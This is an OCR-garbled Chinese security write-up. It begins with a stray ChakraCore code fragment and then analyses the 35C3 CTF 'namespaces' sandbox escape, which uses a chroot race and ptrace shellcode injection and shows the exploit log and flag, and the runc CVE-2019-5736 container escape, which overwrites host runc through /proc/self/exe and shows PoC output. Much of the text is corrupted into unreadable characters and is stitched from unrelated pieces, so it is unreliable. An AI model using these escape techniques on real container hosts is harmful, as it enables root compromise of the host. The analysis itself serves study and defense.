// but if we call user code here which may have side effect
Threadtontext * threadContext = scriptContext-»GetThreadContext();
J5 REEMTRANT( jsReentLock,

here, because marked the Array.toString as no side effect,

:join, scriptContext));

var result = threadContext-»ExecuteImplicitCall{func, ImplicitCall ToPrimitive, [=]() -» Js::va
{
[/ stack object should have a pre-op bail on implicit call. we shouldn't see them here.
assert( | ThreadContext: (Tsonstack{obj));
/{ The correct flag value is Callflags Value but we pass CallFlags Mone in compat modes
allflags flags = Callflags Value;
return CALL_FUNCTION(threadContext, func, callinfo(flags, 1), obj);
Y
if(iresult)
{
/{ There was an implicit call and implicit calls are disabled. This would typically cause a bailout.
Assert(threadContext->IsDisableImplicitcall());
result = scriptContext-»GetLibrary()-»Gethull();
1

TR ERM Join {1555 — XY obj.x IR[E] 1 2 PDXHIEE, B delete obj BIEM Join, {F15
obj.x & F Array.prototype.toString IR [E] Undefined M AR & RE, EAME
AIXB1TER.

7.5 0x4 References

SANEFAEE T

PoC YT F2 BB E

https://github.com/microsoft/ChakraCore/commit/b481337f2ae6e92efd919692c6691996947f49ec

https://bugs.chromium.org/p/project-zero/issues/detail 71d=1576
https://bugs.chromium.org/p/project-zero/issues/detail 7id=1437
https://phoenhex.re/2019-05-15/non-jit-bug-jit-exploit
https://www.anquanke.com/post/id/180551

https://github.com/microsoft/ChakraCore/commit/36644ee0d4cc2bc97a3cd49c3540e6eeal 93182a
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TBEENE: M CTF iZf% CVE-2019-5736 iRiaiSiE:

fBE: ETLRE

SR https://mp.weixin.qq.com/s/UZ7VAGSUGSvoo-6GV153qg

35C3 CTF 273 35 mE BB ASHAE, HA01E CTF &BA Eat, Sleep, Pwn, Repeat T1EE3kLLE
HH—15 CTF L, LEFERBF—EET Linux s BZEFILPEEME . TG, REF=RAN
% =58BA Dragon Sector RIMZBEMEVEERIE S docker exec ap S PTAREIAY runc (—F B 23ia
1709) TR0, BETEBZRN unc #TREEZHE, MINAM—TEEBEEREEN runc F2FH
FEWRFR. ZRET 2019 F 2 A 11 BBTEMFSIRKE, DECHRS CVE-2019-5736,

A3IEIFZ CTF @B CVE-2019-5736 fE5eB O, RBEMIEHIKER, UEIFEANEREER
RAMBEEERZIIANR, AZIRBRZHEFNBLEL,

—\ﬁlj

BLESEREXREEFEN, IINPEXNERT.

—--- (H B FAIRUE)

35C3 CTF 27E5 35 @R @I A=HAE, B0 CTF &PBA Eat, Sleep, Pwn, Repeat T1EE kL
M —1% CTF LEFE, LEFEPE—EET Linux s 2= EE [10] P& &EBE (£33 Pwn) .
EiG, REE=RHKE=538PA Dragon Sector XM 1ZF B MV EERE LS docker exec fp < Tk
il rune (—MBRIETH) OB, ZETIEBEZLKY une #TREIZE, BINAI—1EE
BEEFEN runc BEFNERBLERFE, ZRET 2019 F 2 A 11 HEIHBGIIREE, 20EES
CVE-2019-5736,

BiREEENE, NELEEF—EoMXELM, EFAZ R ZME, Ao 8T NRKEE
FEMNTEEMEERZEXERMRNEERGZHA T RF. —FHE, AXHALEEEBLEH—
TARBTHXE. EETBUREDN: 5—FHHE, NMBMRNBISHE— MR RIIESLGR.
M CTF & B 2 3E R R AR R fl—-- & B EEBIXS Dragon Sector M Pwn & ILREMNAIZEN,
RN B RERERAMNBEEERZAIR, FEIRSZHPNBHEL,

AIGEREIARED SR Linux REEXNERMNIR, RTFREXE——HITHE. PoMRZ XL
BRARNEE SRR, BIKRA REMAEER NAXEEXE, BNERIREMSN TR
SFHEREXTMSANFRE, BERSLEREE, HEETXHENEE, TEERAMIGE.

R4 T B3 35C3 CTF BB #1TH T, HIXZE CVE-2019-5736, REXNBNDITIEE

onf

B4 4

/ICAZ0 o

XHRMBEARE 2L, TFEERREHA,
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8.2 . 35C3 CTF Pwn namespaces
8.2.1 FEHE#R

23 CTFEE, BAME—TEE:

Here is another linux user namespaces challenge by popular demand. For security reasons, this sandbox

needs to run as root. If you can break out of the sandbox, there’s a flag in /, but even then you might not be able to
read it :). The files are here: https://35¢3ctf.ccc.ac/uploads/namespaces-a4b1ac039830f7c430660bc155dd2099.tar
Service running at: nc 35.246.140.24 1

Hints:

You’ll need to create your own user namespace for the intended solution.

MEE EHNE, X285 Linx s RZEEB XV EAER, ESFE2RENVE, =3 flag,

THXHEHBEE, SRMNXME: — Dockerfile M1—" %A namespaces 89 64 fi Linux AJHAT
X5,

Hoh, Dockerfile AT :

[~

1FROM tsuro/nsjail2COPY challenge/namespaces /home/user/chal3 /bin/sh -

A AU 35C3 CTF EMEZ X, WHEARBEMHE, KT < REFFHARER 2
RS, [EE 35c3ctf #1T FE. HHEEXINFS 35C3 CTF DA, WERE, 1BHRAELTIMER.

8.2.2 RAEMNS D

2.2.1 Dockerfile
B 55 & Dockerfile, EF5E0], REBEEMEE=1T CMD 832 . HEHM, /ust/bin/setup_cgroups.sh ;&%
B cgroups MHIA, XEDEZHRIRE LIRS, ZBEHIAAK; cp/flag /tmp/flag && chmod 400 /tmp/flag &&
chown user /tmp/flag FIFEA] flag SXIEB AL : /Mag F/tmp/flag, BIERIRFIFFEE AR, EFEN
IBRZ 400, FRBEX user AF,

NsJail[4] ZH Google FHRMN—R#HERE LR, EAT CTF LkFRENHE, ENSHERZ,
RABEFIUNBITEIEM T 7.

Dockerfile F &5 LA user P B2151T Nslail, SI2 7T — 1 REHIE:

1/usr/bin/nsjail -M1 --port 1337 --chroot / -R /tmp/flag:/flag -T /tmp --proc_rw -U (

ERZSEHAR, BIRKENE:

1. Y80F7E 1337 3w (-MI —port 1337) ;

L RBUIREE R (~chroot /) ;

. /tmp/Mlag ARIEA RN EFEZE/Mag, FE/tmp HEFEE— tmpfs (-R /tmp/flag:/flag -T /tmp) ;

. 4% procfs HHNEEZERN (/proc/_rw) ;

. UID/GID: [REIMEAN 0 F 1 23RS REAEIMY 1000 F1 100000 (-U 0:1000:1 -U 1:100000: 1
-G 0:1000:1 -G 1:100000:1) ;

[ - OS E S)
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6. IREBFIHE capabilities[5] (—keep_caps) o

HithSHNFRERERIZTXEE, &G, Nslail $$i51T/home/user/chal, 2 HIEREIH
namespaces _ 1 HlI S 15,

DIEXE, BATRIUNBENZ, ERBFEAR, BT /tmp/fag BRELNEEEZED flag, E
REBFTHY tnpfs DR Bid/flag BIREEBEE flag, BR—FRBNAHMECHWINRFMES, B
MEESAEXBNET RSN/ tmp/flag, BT user BF, MHBINIRBIFERTERM user BDIEBIT,

FTIA, 20REEFA/EE R namespaces FRFERX T RE EBEAZRT user SMHNRBHIITIE, #MEE
Z3 flag,

iE: X Dockerfile AJRERA—LAIRIEMIRME. X E, Docker A5 Nslail 2 FREPEDH
MIE, HEERRNPE, EERES T namespaces ZF 7T B RERBIERIEDE,

2.2.2 T
SR TIVEXBERRFIZROLE, EXREEMEIEE—T namespaces B3

lrambo@matrix:~/namespaces$ file namespaces2namespaces: ELF 64-bit LSB shared object, x86-64,

Z¥n, BNEAERTXTERNAEEE, —BTA:

1. 8ll#2/tmp/chroots B, FFEEMNPR N 777;

2BENEME, FEHEPEA, WA 1 AT start_box REGATTRIRVEIRME (BRM@E3H);
A 2 AT run_elf RER, BRAFPAEN_HHRERBANLEDRET (BEOE49);

3.start_box 73X : BASUEMNGRATEEIE—NFHIE, 8FHZ user 85 B = [BIAY UID/GID
1 BREY R AHTR user B RTEMY 1, BEXHARDRE 2 THOBEIMEEFTBA . FEEMNAFBRA
EEN—EEUBIEN ELF XMHMBREBXXMHEF (memfd) [12] FIREIXHHIATF, #AG7E/tmp/chroot/ T
MERDPENFESHEMENE—TBR, BEEFRRA 777, HISRERVHRIXE, EEE5EH
setresgid/setresuid &R 1 SAF . &fF, FEREBITIRERXMG;

4run_elf P BERBEBAFAE—TWERS, HRERTRAFPRZE—BEEENBERITH
ELF X4, #ZE0IE— 1" FitfE, X#HELOEIE 2 PHNBEHRMEEFEA. FHERIERAFSEN
WERSKINERANYIEHRE (3 SHAFPBANELF 2F), RRITAHIMN proc/[#)ia#HE
PID]/ns/ A9 user., mnt, pid. uts, ipc M cgroup Bp BN (RMIER!) . HF, NI pid SF B = BEHT
T—IR fork, BIEHREIEAT pid s B=(E (XEREN pid sp B BEEBAGTR, HEIHZMN pid s BT
BEHARNE, REFHENTR) . fok FRHETRRE, FHRERIEDERSHE/tmp/chroots/[i)
EFS], ViRiEERIIXE, BEEER setresgid/setresuid [EFIXA 1 SHAF ., &G, XTFHEBENT
AEBRETIBAF WA ELF X1+,
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X4 Hiftse, BAIESREERE. BE, —FHH, XTEFNRBEEAGENIEEES, #
ZECHFEMESE; 5—HH, BX—RIINREMNBRELLLRE, BII2LKME(RIEG: L&
F3 LRV EHBN—T nit #IE, X5EBFB[NCIEMBNAANAMER, 5 4 FMNAELLT docker
exec, BIBRAMITHSHIIRIE, IR Dragon Sector EHREEKEMIXEE Docker BIZH LAY
R, =R, XZEE1E, R CVE-2019-5736 REEI S ARFHAHEE., FITEREEZHR—E R
DITHRE,

%ﬁtﬁﬁ%,ﬁﬁﬁﬁ%wﬁﬁﬁﬁﬁmﬁﬁmf HELLMTREEZ—--% 4 5 run_elf
DX URIMABRBZEE NEBEARARIZREEN— net A B =8 !

2.2.3 REDW
FHIRZBIMAREDEMN net G B = BIFTARNIE?

RXEFE, EREBERFIBEEINNEEZO. £BENEE, MEHNMEE) run_elf BITHRER
%‘Eﬂ%EE‘zE?éU/home/user/chal WA TSRO, MIFEMELEAM, i, FRIDVEAEE
run_elf JE1THURZ R REGS ELAEE(S .

B, WEAEENX—4F R ERIRIE?

2.2.3.1 B XA

Linux RHE —EIFHRIONXHFIRIE API, ENIRRFRA at 52, 0 openat, unlinkat 1 symlinkat 3,
ENSAE at WRETHEERRE, REET — M XAHERTFINE T2 U IR R XS B X4 RHEXT B 12k
RISRAZNNXHEE, MIFEALEERRRAAEGHFNHESEIEE. A= TRHEX N TF:

openat ( dirfd, *pathname, flags);?2 unlinkat ( dirfd,

MRFBATREBELZ | PITFHAIARRER, HRZXGHEATEIMNEZBEEELRVE 2 F
AOETE, BBANE 2 PRUHZRBEDE LUX N SRR i1 LB XS BR 12 S EEA openat FTFIV &MY
, fa/Mag, MMSEIPE R,

FX L, ITBRBEFTN., 2EX4H (6] 7T, B TR AEBS unix socket BA <“HBNEE" (Ancillary
messages) HI7ZNTEFEEXKELN SCM_RIGHTS R & XEFMFWCSUHEARTE: A, STV EHER mot
wRTEEERE, FTRVEHRETIABEITHE— unix socket XA LHR(E,

B A [6] AJ%0, Linux XIF—EMIFTXERSGNMRGRATIE (Abstract namespace) , 3
I18E924% unix socket BEEIHRBRZBAN—TRIR L, MIFETMXERS LEIE— socket X
4, XHE—%, FEIVED run_elf FHREHMBEIS BT E— M 2FREEIRI N unix socket, MTISEIIX 4
HRARE R,

Zit, UFEERELITE, BNRFTERRLASBRENNE, AEEEMag #MtF. EfRL,
HHAERIY, BIERERE LR b 2/tmp/flag LARIEA RNBIGEER, M/tmp/flag [ETF user A
F (BT nsjail FIBRET, TJ$¢5*MLE0qmm%F)*WEMMOHmdﬁﬂﬁ@mFK#%

IFERY, LAPER UID/GID A 1 IS 1E1T. Eit, HATERZEIL run_elf #ZEDERIIERINA
root AF (MAMEBEZE, Bl user AF),
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2.2.3.2 BFAIPR

BAVERE, WEERFEMN user §MEBITH, REDHITE start_box M run_elf DETFER (setr) &
T . ANREEGBFALIEPEN, FABEGSIRTS user PR, M 2.2.2 HEJIAXNIE, run_elf 79 X TEFEINAIIIT T 1R
MADEoRBZEERVRIE, MREBEXESBEEAPITESURE, MAREEN, #—5TH, WREE
BEXESBEEEENTRNMNEERTINE, EWEE/lag, MEIT I user HHRBHITHERN,

SOfEISEHRIE?

W RIFHATEEDS ptrace El—> run_elf HFZ L, BEEBREAEANRL, MXEXK ptrace I#HFES #1F
1AY run_elf #TZER— pid FRZEAN, EFRIENAS, run_elf EMXFTFFFHINN/proc/[#)iA#H
2 PID]/ns/ Y user, mnt, pid. uts. ipc F cgroup SR =6, REXHFE—FMIER: BRUOBENILIEZE—
WE, BEFRYinit FHIZ fork — N F 2, REB/mp/xxx B F4E HEE E/proc/[init 72 PID]/ns, 1%
EEXTEXTUERSH®E, BE T HBE5EERE nit HFZ fork AT HIEX N A/ proc/[ F T2
PIDI/ns BX T, ABAE— run_elf ARRIINIPE init HIZW mnt e B=E )G, EREIE DRIRE
ELUE M/proc, EEEMAM pid SF BB LR LB T init B FHE, XHFE—K, init FHREMBEBTE
X pid s AT B TMEBN ptrace [MARFEANAY run_elf HFZFEANKBHRAITT . ATIRSHINE, BE
E RN init HATRRY uts BT EIRERN—TEE, = run_elf HESHMARX T GRBZEN, ERHE
FEZE(E, MMBELE T REAIRIE.

ZEitb, MFEBEATBAZNT M user SHRBHRITHERN., A, LEMNBEERFELER,

AT ptrace, init FFZATFTE— pid SR =6, MHFTE pid SR EHEE S ADATEE I user 5
Z=EAEE CAP_SYS_ADMIN ¥R, {ER[F init #FEHZEX MR, B chroot ITHIHFIE R 1T
BIEEFTAY user S R BIRIRGIZANR, Etb, INERVCIRAZERL T 2NMalLR init FHFZM chroot k%,

2.2.3.3 M chroot Hjjki&
2.2.2 T —HIAREIFRB Y &FTTE B F/tmp/chroots BIAXPR A 777, T 2.2.3.1 THRE(IELEEEELE
B SR T R IE— run_elf T2 chroot NI ERL., BEMERE, HMNEUT LR
chroot I 5%

LBRAIEVE 1 MVE 2, HFVE 1 BECHRERNHHERATRELDVE 2, WE2ZEFX
PR EHERTGHBIAEFSFVE 3 f/tmp/chroots B RAVEIL;

2. BIEPE 3, M 222 TEANIFH, start_box 9 X =T EliE/tmp/chroots/3 B (mkdir) , AF
chroot #iZB %, XEME 1 TREVE 2 NBEAFFHRAE—E, WA TEMNTHNESKGE;

3.UR CPURAELERZ: W& 3 5t mkdir, AR E 2 1@ Z!)/tmp/chroots/3 BIFEIZ, F{FH unlinkat
APLSIZBEFRMER (= 777 BAMXER), ZIZE(ER symlinkat API I — 1 ERAVFER/AR B R
SHHE, REE 3 AT chroot IRE. BBAPE 3 B chroot EEEIMIKARTE EREERF, WIERMKIN.
BATRISIIER 2.2.32 TREFEMN. M chroot FRiZERY init #H7z,

STEIEN—RRE, EERVERDNAEBE docker FMEHIT EIATIG, 2% CPUBLESHAT
RENESEERINRERR, BiOEERREENRE NN RFESZIME T#EIT.
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oyl

WIB, STEXLMR, —KAABEEH M. Github EERRARAH TIEEMBENTERBFIAR
B7, ToHEARTEHES. MR 2233 THRSKEMIN, BBATATEE ptrace SEANFIRFER
A9 run_elf HIZAANIZE/ flag IS ST .

B AR RAE, SO R ETRE:

]

mhed swLs Fytcaraups cpusl

L2BF=11=1ITO5 2 5k: 01+ D0 | Moscley
[2B19-11-17T85-56:01+-0000] Jail parometers: hosbnome: "NSJAIL,

LISTER_TLP
chroot; ',

process: *fuesrsbindstdbuf ', bind:[2:]:1337, max_conms_pe

r.ip:@, time_ limit:®, personality:8, doesonize:folse, clone.newnet:true, clone_newuser:true, clone_nesms:@tree, clone_newpid:true,
Clime mewipe ! brge, clone fewutsibrue, clone_nemcgroupibrue, keep_copsitrue, disable_ne_nem_privi:false, max opudiB

[2819-11
[28158-11
:folse

[Z2819-11-12Tes
[2e15-11
[2819-11

[2819-11-12T85

LITAS S0 R+ | Mount podnk; °/F° == 47
12TO5:56:01+0808] Mount point: */Stmp/flag® -

SOE01+0088] Mount poink:
12TH5 562 81+ 0]
12TES 561+ ]
[280A9-11-1ZTE5 :56: 01 -0
S5 0L+ B0
[2809-11-1FT85 568 1.-B0My]
[2819-11-12T85 5601 H0)

Flags  Wh_REKHLY |M5_BIND RS _REC |HS_FREIVATE type:" ' options:’’

"SFlog® Flags:MS_BDONLYIMS_BINDIMS_RECIMS_PRIVATE bype:'®

s _dir:brse
options:'" 1s_dir
ftapt Flogs: type: 'tepfs” ophions: sife=4194304° LS duritrue

Mount point: ‘sproct flags: type:'proc’ options:”™ is_dir;true

lHd map: inside_uid:@ cubside_uid: 188 count ]l newuldmop:troe

d map: indide_wid:1l cutdide_wid: 198088 count: ] newuidmap:trus

Gid ®ap: onside_gudi@ cubside_gid: 1080 Count ] newgidsap true

Gid map: Unside_gid:]l cubstde_ged: 108080 count )l nemgidsap: brus

Listening on [::]:13%7

EEITRENBAR, MRUWTEMT (BETRENRETRE) :

[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[escalate]

Started escolate

Checking that we won the race

Reading current pid

Init pid: 8

Creating new namespoces

Forking

Parent done

Child started

Reading current pid

Child pid: 9

Creating dir "/tmploldproc_ZKGpTwnXdn"

Creating bind mount "/ tmp/oldproc_ZKGpIwnXdn® -= "/proc”
Creating dir "/tmp newproc_ZKGpIwnXdn"

Creating bind mount "/proc” -» "“/tmp/newproc_ZKGpIwnXdn"
Creating dir "/proc/8"

Creating dir "/proc/&8/ns"

Linking pid nz "/proc/8/ns/pid" -»
Creating fifo "/proc/8/ns/uts”
Waiting for wictim to join

“Stmploldproc_ZKGpIwnXdn/9nspid"

[+] Running in sandbox #2: sleep
[*] entering namespaces of pid &

[escalate]
[escalate]
[escalate]
[escalate]
[escalate]
[shellcode ]
[shellcode]

[*]

Elf, XTXERMENHRIIXES—EKE.

Attached to wvictim
Reading rip
Writing shellcode to @x7efcfl888blc
Detaching
Opening fife
FLAG: 35c3_ctfiyesterday_u_sald_t@mlrroW}
DONE

losed connection to localhost port 1337

BE—T, LERXBREBEMH:
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1 SPRHRHRETENMNDEMEGRZE (net SFRZE) ;
2. SMRHRRMORMND EGRREEN, LEZEMA pid R=EN, BHTEEE (B2 pid
FTEREFHZER), BHIZ fork HF#HE, XA THENRSHENNE

=. CVE-2019-5736

AR
£ 35C3 J|EMKLEBIRTEMIEE L, Dragon Sector AR FFIAFTEIIRIER, BERLSRNFIXE CTF &
BHZRAEERET—TRUNEREE: &2,

ERRURAE, AEARME. BRNERSBNARIIr LRBR[EBITN. TE (17 RIFHE
N7 ETARGTNEEN SR UHRPAAAMIE:

clienls
Container platform P#Euch @ | |Bear
Kubelet | Q e | ) Prometheus
| GO containerd client

conlainerd

| ‘GRPC= CRI API | | ;RPC containerd API ﬂ Metrics API

[ CRI Plugin |

90 contalned chent | | GRPC APl service Stats cf:llar.‘:lut

containerd Service Interfaces a
| i
,ﬂfm, | | Imagn-.pj E:qnumj Diff | Tasks | Events
I
=l b

Funtime manager |
Content | ornergahin

native il plugi Stars [ﬁmnﬂ |='mnhr:s_ ii-f;';:ar,a i plugia; J'

] ‘?f-._

05

B4, BRETHESRATHTHSHESHLEE LEHREIN MOXMAGR=E FE)REE?
MRZE, BALAEMRAIEHIGEFEAVERFE, A runc IBI (FXEIA runc JBFIHITHA) © runc exec B
FEHON user #l pid a2 =(8), #E fork HF#HE, BMAEMGETE., IRESHEETS SRR
2 runc MINT BECH pid sp B (8IAT, EIZEIER ptrace [6] runc HIEEINEERY, FAEISSLIMB RS
RABHAT,

R, —FAME, runc EEMATHEGRZTEGT fork HF#FERN; 55— HE, docker BIEAIA
ZEEEARTERABRTNRR2ZERRNARTER. ITEBTAE,

fE3k, A1 EEEER proc AXMRLE (111, RINAM TIRE. T, BITEREREHIT
par i
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mEoHT

BAERATINEER T docker exec aR < (EMBAYLN docker run 3, FHEITIE) B, KEXLMLESR
BRI 7ERRIE., B4 runc, BRI, runc exec ML EWHIT,. ENHREBREEDHEASHRITAHP
BENRER., #—Ff, MEESHSNSMaRZEA, ZRSMRE (90 cgroups) NIER T, Bl
—M#HRE, BRI, ITRESEEN LT IERHTZH.

PATERAMEXEN: runc B, MAZBTRBNGRZE, BEEUES (proc/self/exe, FER
fRTE) REARBN— 1T F#HRE, &EET exec RS FBMITHRPIEEN ZHEIRER.

XN EREERMUEREE@, HANKERENES THELSTET. ME, RMNFEILS
— M ABH——proc A RS, Bl/proc, KT X MHEE, Linux X454 [11] B4 T T#RAVIRHA,
XEBEBEMEZEXF/proc TRHIFENH:

1. /proc/[PID)/exe: ER—MIFANF SHERE, NXHEFRA magic links (HH AN IXERFS 520U
magic links I8? EZEMRAD, X—RKRNAFIRENTEREXEE), ERHEZEB SN
iR X (BIANFATIRAT Is, /proc/[ls-PID)/exe Ffi3&E[E/bin/ls) ;

2. /proc/[PIDV/fd/: X B3R NEE T #HZFT ARG XXHHEARR .

/proc/[PID])/exe B4R Z A ET, MRIBHRITARXTXM, ENREERBINERLT, AZEER
IREILEIR—TERIZUE IR TT (file descriptor) , MIARRRESAIT A AR EMB BTG E
o XK, BEXFRESTT mnt G5 RTE K chroot 3 — N HFEEETS A 0] 2 A XA ER 12 HIBR S .

A2, BBXHFE—MIFR: £ runc exec MAZIBRNRBZEZG, BRAHEZECLEBETA
Z/proc MREE, ULATUNSRFTF/proc/[runc-PID]/exe HEN—LRNR, FEETELINIETE £ LAY runc
“HERERBEER! XEFE—K, TXREAFEA une ERITHLN, AT EGENENE

A
~<o

EARFRNBRME L, ERABBIEATH, ERRGEEREEDRATIE N LRBERNT
(W), EFEZEXSFPRE:

1. FERBFHRAER root R;

2. Linux RAYHESUEEBITHZXS N AYAth — #HI X4,

EX L, Rl 1 2EAFE, REFZBMSTARGAPRINIAR root AR; MIRE 2 2RISR
B, EE—T=HREIRETNFMAEL.

AIUNE X NRERNAEL LER CTF EEER21TS (RRETEERITENTRSERA

iR,

pyEEdl):
BXF CTF BB KR, X NRERNFRBAE 9] htbtRE R, HSEA)IMNNT:

1. BB 2R bin/sh TR B E N #!/proc/self/exe;

2. FERA B 28 A /proc B%, 1EENE—/proc/[PID)/cmdline, ¥ “runc’” f{FFHRILE, BERIIRE
runc HFES;

3. AR EF 3T F/proc/[runc-PID)/exe, 2RI HHIATRT fd;
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4. FEEWMUNE AITFFE 3 THIREEIRIE £d (/proc/self/fd/[fd]), —FFiR B =R EIKK, BE runc
SEREABSE AT, ILENET 1% fd [@18 £ L /usr/bin/runc (B 5F ] 8ERE/ust/bin/docker-runc)
BN EHA
Srunc R MITHA P B docker exec 38 E H/bin/sh, ERHNBEE | THEL W B IRK
#!/proc/self/exe, BELSEFR EIEGHITIEEN LAY runc, M runc WEZRTESE 4 BIPRI(IBEIET
BNEEAMEREREDNE (TERIHRLH T docker Ml runc RASHBER), AEEBEIT—1TS
82, ERSBPEBREENIT/poc BF, ZIEFEE RS 28 /bin/sh 7 #!/proc/self/exe fGZF1F runc B
B, BRI TER (B TA %3 PID A 28 HEREHREXHRAR EBENLEZE
BT docker exec IR S AR H)

* —serS1On

=Yersion

MY CREATED
PORTS
ubuntu fhinfbash” 2 minutes ago

r epomain Bn5
ker axec -1t Hohe

BN /poc FBFIBTE, BNESRINNEEN LEHZEE(FR docker exec S HITA 23
A/bin/sh $TFF shell IS, fMARERE, —WfE, FKERER shell :TH, #HR, /tmp FTEZH

I EES AH hello,host, EW *zﬁU—F.FﬁT
rambo@matrix:~/C\ @19-5736-PoC$ docker
No help topic for
rambo@matrix:~/CVE-2019-5736-Po($ cat /tmp/magic.dat

1ello, host

rambo@matrix:

M EIRERA, EMXNRE, SRNHRRASESRIMVTRIEBNEES,

EF—RNE, WRAZMEE—MEEERGNHNBABENARE, UR—MENSHE
BEHTRBEANNFRAE, BAENEZETTUETEZEANTHR—T
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8.4

Y ekl BRWIRLE: M CTF fi#fZEI CVE-2019-5736 iREEZIEDIT
mEgE
YA RENNIRENEE AR ERA L —E CTF BEPRITNRIBZREFERZXHNS X, it
runc ERBRATATIRIEAILEE S EFMA—TERZ XY, BERNTRXTERXH.

XHE—3K, 7 Linux EZHHAARIMBREBROART, SRANEEHEMTEEILH
X Ffridk/proc/[PID]/exe B3 AR K I TE £ LAY runc Z#HFIFER

am, XMEERXE—TEWER: IBKTRB|NAEFRE, #HXELE AEZX—RHE Github
L RBRIESR (131,

\ Iagﬁ
ETXAKEE, MEFRNEBLE—T, NEERTROIFBERT (47
REENREZFEE, EaRZENRFEREZSINRE. MAFNSRZERES, AMNLY

WRTEEEAE? HFEHE CAP_SYS_ADMIN fREHZR S AIZ? RLEEMABEEZEFEN
L1518

BAN4R4E, Linux BT ERSRERET N/RINERN Plan 9 7 HXRLGWE [14], E—1TH
7E Linux WZAHIE mnt G B E(E], BFAZARAE 2.4.19, MBBIALERE—TIIAR user HRE
BJERRMIZARA 3.8 7 [15]; B—AME, proc AXHRLGEHFBERER ., XME D52 T 5RAT,
WFHREM 4B, BEMES/proc T magic links B RS 3EB AR, ERE—ERE, ERENS
ZEINT,

FRAS RS (B Linux) D ETEHEESRMEAMINEERMANE, muMNEFHIIEXLE
INEESMAIRNERBERNIGEF ., ANBNSFIEXLOBRNEERE. SA, XEXREBEAA
BEWN, E—ERE LT UAEN, 55, MEENEREN CVE-2019-5736 imEFIBRBIHKIIEETR
REZE, N EERENFIATUEEREZNEN, ERVESMIEINE—EREIREEER
B, B ARBAHAS S,

AEDTEHER, BNARBRIGSHMEMNFITERE, CIEEMINEY, XMIABMITEEs
WMAMIRSET N, BEERHT TS -FHEZHE, AT, SESRXFAR, XBEHREUER
o IS L EIRR B RS RS S E S IMER S £, fi, ESENEMNTRIES (Open
Source Summit Europe 2019) £, BINBRRT “@ATE 5§ “FSHEE° MRS E—ELIN
—RIEIRR [16], REMEANZEAIMURE—T,

&/E, SIFRBSN—aiEEs:

BISERENEEN,

ik : R+ 24L& /proc TRIRFSEEEFRA magic links?

HAIEE, /proc BRTHEIFSHSHEZ, HU/proc/[PID]/exe F/proc/[PID)/ewd, #AT, EAIHIE
HIFNRFSEE, ER, BN MISHOAS8EE, WM magic links, &%, RITIUEBR—
INERRNME TS BB S RN E:
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A i

& symlink -> target

9 Jfproc/selflexe -> /binfls

MEE, HMANBIET —TEENFSHE, JUEBIENXHERENBMXGERNKE, B 6;
1B/proc/selffexe BIKEHNE 0, MAEEFTIEB IR H/bin/ls BMPUKE., XTEFM—ERE Li7A
T Iproc TS TRV IRIE,

SR, BENMIE magic links NREHIFZAEE, HPREEN—KRE, SHABRERE-TX
BHNRFSHER, B0 <FTF #RIF, Linux ARASRBEBR STHELIES NEXH RS LM

B, MesEREARTRGIEREFIREIX B AR 4HERT

FIBRIANLE, magic links BB R H X B HBR T, Aleksa Sarai 7EXS manpage FIMELEX [8] HR
AT —EAANRE, EERCIRERIRE, #HARSE:

There is a special class of symlink-like objects known as “magic-links” which can be found in certain
pseudo-filesystems such as proc (5) (examples include /proc/[pid]/exe and /proc/[pid]/fd/ .)

Unlike normal symlinks, magic-links are not resolved through pathname-expansion, but instead act as di-
rect references to the kernel’s own representation of a file handle. As such, these magic-links allow users to
access files which cannot be referenced with normal paths (such as unlinked files still referenced by a running
program.) Because they can bypass ordinary mount_namespaces (7)-based restrictions, magic-links have been
used as attack vectors in various exploits.

As such (since Linux 5.FOQ), there are additional restrictions placed on the re-opening of magic-links (see
path_resolution (7) for more details.)

HPREEN—GEE:

Unlike normal symlinks, magic-links are not resolved through pathname-expansion, but instead act as direct
references to the kernel’s own representation of a file handle.

ELt, magic links ;& “TEFEE Y,

BIERAXMRZRBERFMEMN, BFERNEESRST OREE" . XEE— N/ NEBSAR
FHBAYIEE  TE Linux ARZITRIS IR ERE magic links EAIZERE. XEMNTFLEZ: —FmH,
79 magic links B4 7RSMIRIRM T B DML Z—AH, SEBREMNBRERPIHERFER 6D
fIBES; &fE, BETEIIARITY Linux AR LR RFZAIINIR,

TEHSE—LRER

R

. ABRSMRANREH,. W LEEBRASMR, 5x RAMNAIBEIEERIN T HNEDR,

RETERE (EEMRERNZ 4.14.151 FRIKHD) ;
2. IMUARFEANRRER. B2, M open RFEFAFFIE, —FHHEEARN;
3. fs/proc #IREBEEMNER.,
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PP sk BERBEME: M CTF iREAZ CVE-2019-5736 RimisiE o
XFX—[a@, WBRERAKR.
Busd

ERRIRED, EFLHM/IMEARAT GIA@SEXEEE 2. 3 B9EE Yuval Avrahami
LevitatingLion 5%, ELtAAMAUREMRRARRTRLE,

SEXHR:

[1]. CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host; https://blog.dragonsector.pl/2019/02/c
2019-5736-escape-from-docker-and.html

[2]. Breaking out of Docker via runC — Explaining CVE-2019-5736;https://www.twistlock.com/labs-blog/breaking-
docker-via-runc-explaining-cve-2019-5736/

[3]. Escaping a Broken Container - ‘namespaces’ from 35C3 CTF;http://blog.perfect.blue/namespaces-
35¢c3ctf

[4]. NsJail;https://google.github.io/nsjail/

[5]. Linux Programmer’s Manual: capabilities - overview of Linux capabilities;http://man7.org/linux/man-
pages/man7/capabilities.7.html

[6]. Linux Programmer’s Manual: unix - sockets for local interprocess communication;http://man7.org/linux/man-
pages/man7/unix.7.html

[7]. ctf-writeups/35c3ctf/pwn_namespaces;https://github.com/LevitatingLion/ctf-writeups/tree/master/35c3ctf/pwn_nar

[8]. [PATCH RFC 1/3] symlink.7: document magic-links more completely;https://lkml.org/lkml/2019/10/3/507

[9]. Frichetten/CVE-2019-5736-PoC;https://github.com/Frichetten/CVE-2019-5736-PoC

[10]. Linux Programmer’s Manual: namespaces - overview of Linux namespaces;http://man7.org/linux/man-
pages/man7/namespaces.7.html

[11]. Linux Programmer’s Manual: proc - process information pseudo-filesystem;http://man7.org/linux/man-
pages/man2/memfd_create.2.html

[12]. Linux Programmer’s Manual: memfd_create - create an anonymous file;http://man7.org/linux/man-
pages/man2/memfd_create.2.html

[13]. CVE-2019-5736: Runc uses more memory during start up after the fix;https://github.com/opencontainers/runc/issuc

[14]. The Use of Name Spaces in Plan 9;http://9p.io/sys/doc/names.html

[15]. {BCoIFE Docker), F2E

[16]. In-and-out - Security of Copying to and from Live Containers - Ariel Zelivansky & Yuval Avrahami,
